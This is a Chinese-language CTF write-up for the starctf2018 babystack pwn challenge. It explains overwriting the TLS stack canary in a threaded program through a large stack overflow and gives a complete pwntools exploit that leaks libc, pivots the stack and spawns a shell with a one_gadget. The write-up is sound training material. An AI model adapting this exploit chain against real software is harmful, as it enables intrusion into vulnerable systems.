BUU-starctf2018_babystack-WP

Posted on Jan 9, 2021

这道题是碰到知识盲区了

写在前面

这篇wp还不完善,之后再慢慢补全

漏洞点

非常明显的一个栈溢出,而且可以溢出非常多。当然,由于开了canary,我就没思路了,毕竟确实没有得leak。不过呢这个函数是开了一个新的线程调用的,我当然是想到了和这个有关系的,于是就去查了一下条件竞争的利用,发现看不懂,而且好像也和这道题目没有什么关系。遂看wp。

利用方法

漏洞函数是由新线程调用这一点确实是有用的,好吧,具体的知识到现在我还没弄懂,现在还是先囫囵吞枣吧,简单的来说就是多线程下fs寄存器中的值会以tls的方法存在栈中(与当前栈帧不会离太远),由于我们可以溢出很多,所以把那里覆盖掉就改写了canary了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

leave_addr = 0x400A9B
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
bss_addr = 0x602f00

sh = remote("node3.buuoj.cn",28773)
#sh = process("./bs")
elf = ELF("./bs")
libc = ELF("./libc-2.27.so")

payload  = 'a' * 0x1010 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.symbols["puts"])
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(elf.symbols["read"])
payload += p64(leave_addr)

payload  = payload.ljust(0x2000,'a')
sh.sendlineafter("send?\n",str(0x2000))
sleep(0.5)
sh.send(payload)
sleep(0.5)

sh.recvuntil("say goodbye.\n")
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
base = puts_addr - libc.symbols["puts"]
print hex(base)
bin_sh = libc.search("/bin/sh").next() + base
system_addr = libc.symbols["system"] + base
magic = 0x4f322 + base

#payload = p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
payload = p64(magic)
sh.send(payload)

sh.interactive()

one_gadget的原因是system出现了"timeout: the monitored command dumped core",尝试栈迁移到不同的位置无果,所以就干脆one_gadget完事了